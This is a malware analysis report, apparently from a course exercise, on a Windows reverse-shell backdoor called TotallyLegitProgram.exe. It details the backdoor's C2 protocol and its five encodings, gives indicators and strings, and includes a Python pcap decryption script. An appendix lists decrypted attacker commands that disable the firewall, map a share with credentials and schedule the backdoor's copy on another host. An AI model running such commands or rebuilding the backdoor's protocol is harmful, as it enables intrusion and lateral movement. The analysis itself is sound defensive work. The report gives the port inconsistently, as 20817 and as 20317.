Malicious Program Analysis of TotallyLegitProgram.EXE (Backdoor)

Summary

The TotallyLegitProgram.exe malware is a packed Windows executable whose purpose is to spawn a reverse shell on the victim's machine that takes in commands from a remote C2 server by communicating over a TCP connection. To obfuscate the network communication between itself and the C2 server, the malware has the ability to send or receive data in 5 different configurations. Each configuration structures the data differently. For example, one configuration encodes the data using RC4, another uses DES-ECB, and one simply sends the data in plaintext. The custom protocol masks shell commands sent by the C2 server and the corresponding output from the malware.

File Characteristics

File Name	File Type	Architecture	Size
MD5			**Compile Time**
TotallyLegitProgram.exe (packed)	PE.EXE	X86	38,020
4B74D4D2EA1586584B46B5702B1D0508			02.12.2014 04:58:33 UTC
TotallyLegitProgram.exe (unpacked)	PE.EXE	X86	98,304
FFFDB466C40E6E2C2A705D30DB39F9D1			02.12.2014 04:58:33 UTC

Table 1: File Characteristics

Persistence Mechanism

- The malware does not contain a persistence mechanism. An external tool or installer is required if the attacker desires persistence.

Host-Based Signatures

Volatile Evidence

- The malware creates a new process of `cmd.exe`

File System Residue

- The malware's PE header checksum is incorrect

Network-Based Signatures

- The malware communicates over TCP port 20817 with the remote host `proj.columbia.edu.ca` with a custom protocol that is capable of encrypting the data in multiple different ways.
- All TCP payloads sent or received by the malware start with the magic value `peep` or `0x70656570`
- If the malware doesn't connect to `proj.columbia.edu.ca`, it will try to connect to an invalid domain name when it tries to reconnect. This is because the network name `proj.columbia.edu.ca` is encoded by the `not` operator, and the malware repeats the `not` decoding every time it tries to reconnect. Therefore, It will try to resolve this hex stream into an IP address and cause an error every 120 seconds if it can not connect: `0x8F8D9095D19C90938A929D969ED19A9B8AD19C9E`

Details

The `TotallyLegitProgram.exe` malware starts by decoding a stack string to `proj.columbia.edu.ca` using `not`. It tries to connect to `proj.columbia.edu.ca` over TCP on port 20317. If the connection is unsuccessful, it prints `Fail so sleeping`, sleeps for 60 seconds, and tries to connect again. Once the connection is successful, the malware finds the name of the machine it is running on and appends that name to `trts` (start). This value, `trts%ComputerName%`, is the first payload sent over the TCP connection. This payload is encrypted using the `q` configuration (see below), and sent along with the rest of the `struct` over the TCP connection. After this, the malware spawns a reverse shell by creating two pipes and a `cmd.exe` process (it finds where `cmd.exe` is located on the system by querying the `%COMSPEC%` environment variable). It also creates a thread which continuously checks for new outputs from the shell using `PeekNamedPipe`. When new output is found, it appends that data to `kcab` (back), encrypts the data using the `q` configuration, and sends it back to the C2 server.

Once the reverse shell is spawned, the malware enters a loop in which it receives data from the C2 server, decodes the command using one of the configurations below, runs that command in the reverse shell, and sends the output back to the server using the thread described above. When the malware receives communication from the C2 server, it starts by analyzing the first 12 bytes of the data. It checks that the magic value (`peep`) is correct, gets the size and encoding type, and then receives the rest of the data which needs to be decoded based on the size. Once it receives all of the data, it decodes that data depending on the configuration (explained below). Once the payload is decoded, the malware proceeds with the command. There are two possibilities: if the command is `REST`, the malware sleeps for a specified amount of minutes. If the command is `EXEC`, the malware continues to read in the command and writes whatever comes after `EXEC` to the write pipe that is connected to the reverse shell. Once the command runs, output will trigger the thread described above and send the output back to the C2 server. The malware will do this repeatedly until it finds `exit` as part of an `EXEC` command. If the malware finds it, it runs the `exit` command, which causes the reverse shell to shut down.

Communication Protocol

When the malware and C2 server communicate, there are 5 possible configurations for how the data is structured and encoded. However, for each configuration, the structure begins the same:

```
struct Data {
    DWORD magicValue;
    DWORD size;
    DWORD encodingType;
}
```

For all configurations, `magicValue` must be equal to `peep` or `0x70656570`, `size` is the length of the data plus the rest of the struct in bytes, and `encodingType` is one of five values: `p`, `q`, `r`, `s`, or `t`. This value determines how the rest of the structure is set up and how the data is encoded.

```
// p configuration
struct Data {
    DWORD magicValue;
    DWORD size;
    DWORD encodingType; // 0x70 (p)
    BYTE data[];
}
```

The `p` configuration is the most basic. `data` is sent in plaintext.

```
// q configuration
struct Data {
    DWORD magicValue;
    DWORD size;
    DWORD encodingType; // 0x71 (q)
    DWORD originalDataSize;
    BYTE data[];
}
```

The `q` configuration uses the deflate compression algorithm from zlib, version 1.2.5. To decode this configuration, the inflate algorithm from zlib can be used. `originalDataSize` is the length of `data` (excluding the rest of the struct) before it was compressed.

```
// r configuration
struct Data {
    DWORD magicValue;
    DWORD size;
    DWORD encodingType; // 0x72 (r)
    BYTE data[];
}
```

The `r` configuration uses a 100-byte array that is hard-coded into the malware. For each byte of `data`, the malware iterates over the array, checking to see what value maps to that same byte. When a match is found, it swaps the actual byte for the index that matches. To decode this configuration, each byte of encoded `data` can be changed back to the value that is mapped to that specific index in the array.

```
// s configuration
struct Data {
    DWORD magicValue;
    DWORD size;
    DWORD encodingType; // 0x73 (s)
    BYTE key[16];
    BYTE data[];
}
```

The `s` configuration uses the `RC4-PRGA` stream cipher. The `key` used is 16 bytes and randomly generated each time. Since `key` is sent with the payload, `data` can be decoded using that and the `RC4` decryption algorithm.

```
// t configuration
struct Data {
    DWORD magicValue;
    DWORD size;
    DWORD encodingType; // 0x74 (t)
    BYTE key[16];
    BYTE data[];
}
```

The `t` configuration uses the `WinCrypt` API to encrypt `data`. `key` is 16 bytes and randomly generated. Once `key` is generated, it is hashed using MD5. The first 8 bytes of the hash are then used as the key for DES-ECB encryption of `data`. Since `key` is sent with the payload, `data` can be decoded by generating the MD5 hash of the key and performing DES-ECB decryption with the first 8 bytes of the hash as the key.

Unique Strings - Packed

```
coderpub
```

Unique Strings – Unpacked

```
peep
trts
kcab
type failure: %d (0x%02x)
Microsoft Base Cryptographic Provider v1.0
Error in CryptAcquireContext for NewKeySet: 0x%08x
Error in CryptAcquireContext: 0x%08x
Error in CryptCreateHash: 0x%08x
Error in CryptHashData: 0x%08x
Error in CryptDeriveKey: 0x%08x
Error in CryptSetKeyPara: KP_MODE: 0x%08x
Error in CryptDecrypt: 0x%08x
Error in CryptEncrypt: 0x%08x
1.2.5
Error in recvLoop: 0x%08x
exit
ERROR: Unknown type: %08x
COMSPEC
Fail so sleeping
deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler
1.2.5
inflate 1.2.5 Copyright 1995-2010 Mark Adler
exit
incorrect length check
incorrect data check
invalid distance too far back
invalid distance code
invalid literal/length code
invalid distances set
invalid literal/lengths set
invalid code -- missing end-of-block
invalid bit length repeat
invalid code lengths set
too many length or distance symbols
invalid stored block lengths
invalid block type
header crc mismatch
unknown header flags set
invalid window size
unknown compression method
incorrect header check
incompatible version
buffer error
insufficient memory
data error
stream error
file error
stream end
need dictionary
```

Unique Strings – Deobfuscated

```
proj.columbia.edu.ca
```

Appendix A: Analysis of forensic.pcap

The following are the decrypted commands that were sent by the C2 server and ran in the reverse shell by the malware, taken from `forensic.pcap`. These were decrypted by running the script in Appendix B. To save space, the malware's responses were left out. The full output from the script running on `forensic.pcap`, including the malware's responses, is included in the .zip submission under `pcapOutput.txt`

```
net start
net view domain
arp -a
netsh firewall set opmode disable
tasklist
net use j: \\169.254.118.2\temp password /p:NO /user:user
copy TotallyLegitProgram.exe j:\LegitProgram.exe
SchTasks /Query /S \\169.254.118.2 /U user /P password
SchTasks /Create /S \\169.254.118.2 /RU user /RP password /SC DAILY /TN "Good Task 1"
/TR "C:\temp\LegitProgram.exe" /ST 09:00:00
SchTasks /Query /S \\169.254.118.2 /U user /P password
net use j: /Delete
exit
```

Appendix B: PCAP Decryption Script

The following is a Python script that will decrypt all network traffic generated by this malware from any `.pcap` file. It is included in the .zip submission under `script.py`.

Usage: `python3 script.py <PCAP_FILE_PATH>`

```
import zlib
from scapy.all import *
from Crypto.Cipher import DES
from Crypto.Hash import MD5

def read_pcap(file):
    packets = rdpcap(file)
    for packet in packets:
        if TCP not in packet:
            continue
        payload = bytes(packet[TCP].payload)
        # Check packet was sent with data, ignore if not
        if not payload:
            continue
        # Check data starts with magic value
        if payload[0:4]!=b'peep':
            continue
        src_port = packet[TCP].sport
        # Check if malware or server is sending
        if src_port == 20817:
            src = "C2 Server: "
        else:
            src = "Malware: "
        # Check encoding type
        # p configuration
        if payload[8] == int(0x70):
            decode = payload[12:].decode('utf-8', errors  = 'replace')
            print(src + decode)
        # q configuration
        elif payload[8] == int(0x71):
            decode = decode_q(payload[16:])
            print(src + decode)
```

```
        # r configuration
        elif payload[8] == int(0x72):
            decode = decode_r(payload[12:])
            print(src + decode)
        # s configuration
        elif payload[8] == int(0x73):
            decode = decrypt_s(payload[12:28], payload[28:])
            print(src + decode)
        # t configuration
        elif payload[8] == int(0x74):
            decode = decrypt_t(payload[12:28], payload[28:])
            print(src + decode)

# decrypt q using zlib inflate
def decode_q(data):
    decompressed_data = zlib.decompress(data)
    result = decompressed_data.decode('utf-8', errors  = 'replace')
    return result

# r configuration, uses the encoded array as a key
def decode_r(data):
    decoded_str =""
    for val in data:
        decoded_str += chr(encoded_array[val])
    return decoded_str

#  decrypt s using RC4 decryption
#  modified from https://github.com/Iqbalmh18/rc4-decryptor/
def decrypt_s(key, ciphertext):
    S = list(range(256))
    j = 0
    out = []
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    for byte in ciphertext:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(byte ^ S[(S[i] + S[j]) % 256])
    return bytes(out).decode('utf-8', errors  = 'replace')

# decrypt t using DES-ECB
def decrypt_t(key, ciphertext):
    # Hash the key using MD5
    md5_hash = MD5.new()
    md5_hash.update(key)
    hashed_key = md5_hash.digest()
    # Extract the first 8 bytes as the DES key
    des_key = hashed_key[:8]
    cipher = DES.new(des_key, DES.MODE_ECB)
    decrypted_data = cipher.decrypt(ciphertext)
    return decrypted_data.decode('utf-8', errors = 'replace')

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 script.py <PCAP_FILE_PATH>")
        sys.exit(1)

    file = sys.argv[1]

    if not os.path.exists(file):
```

```
        print(f"File not found: {file}")
        sys.exit(1)
    read_pcap(file)

# array taken from malware
encoded_array = [0xB5, 0xDC, 0x5B, 0x42, 0x90, 0xAF, 0x08, 0xDD, 0xBF, 0x28, 0xE0,
0x68, 0x9B, 0x44, 0x2D, 0x65,0xDE, 0xC6, 0x8F, 0x99, 0x6B, 0x25, 0x2E, 0xBD, 0xF9,
0x11, 0x2B, 0xF1, 0xB0, 0x4F, 0x88, 0x51,0xE5, 0x9D, 0x05, 0x55, 0x6D, 0x07, 0x71,
0x64, 0x3E, 0x50, 0xEB, 0x0D, 0x3D, 0x93, 0x53, 0x5E, 0x79, 0x22, 0xA2, 0x76, 0x15,
0xB6, 0xD3, 0x19, 0x16, 0xA5, 0x26, 0xF4, 0x66, 0x85, 0xA6, 0xBE, 0xD8, 0xC9, 0x67,
0xB1, 0x7C, 0xFA, 0x1B, 0xAC, 0x6F, 0x30, 0x2F, 0x92, 0xF2, 0x4B, 0xEC, 0x27,0x63,
0x5C, 0x4E, 0x56, 0xFE, 0xAA, 0x24, 0x69, 0x4C, 0x86, 0x06, 0xCC, 0x0F, 0x34, 0x10,
0x3B,0x77, 0xFB, 0x73, 0x6A, 0x91, 0x1D, 0xC0, 0xAD, 0xD0, 0x89, 0x9C, 0x5F, 0xF3,
0x84, 0x52, 0xB7,0xA3, 0x1E, 0x21, 0x18, 0x40, 0xF5, 0xED, 0xA9, 0xCA, 0x31, 0xC7,
0xF6, 0xF7, 0xDF, 0x35, 0x58,0x70, 0x59, 0xD4, 0x98, 0xEF, 0xC1, 0x3F, 0x94, 0x8E,
0x1F, 0xC2, 0x39, 0xCD, 0x6C, 0x60, 0x23,0x20, 0x09, 0xCB, 0x72, 0x7E, 0x0A, 0xEE,
0x74, 0x8B, 0x8C, 0x6E, 0x3A, 0x87, 0xC3, 0xA7, 0x54,0x95, 0x29, 0x0B, 0x41, 0x01,
0x2A, 0x0C, 0x33, 0xD6, 0x9E, 0xCE, 0xA8, 0x57, 0x8A, 0xD5, 0xCF,0x78, 0x1A, 0x7A,
0x0E, 0xEA, 0x32, 0xAB, 0x43, 0xE6, 0x36, 0x12, 0x9F, 0xC5, 0x80, 0xFF, 0xB8,0x7B,
0xB9, 0xBA, 0xC4, 0x37, 0xE7, 0xFD, 0xD7, 0xB2, 0xBB, 0x8D, 0x96, 0xB3, 0x38, 0xAE,
0x13,0xBC, 0xFC, 0xB4, 0x46, 0xC8, 0x7D, 0x81, 0xE1, 0xF8, 0x5D, 0xD1, 0xD2, 0x00,
0xD9, 0xE2, 0xA0,0x75, 0x2C, 0xDA, 0x17, 0x97, 0xDB, 0xE3, 0xE4, 0x9A, 0xE8, 0xE9,
0x45, 0x47, 0xF0, 0x3C, 0x48,0x02, 0x03, 0x1C, 0x04, 0x5A, 0x14, 0x49, 0x4A, 0x7F,
0x82, 0x4D, 0x61, 0x62, 0x83, 0xA1, 0xA4]
```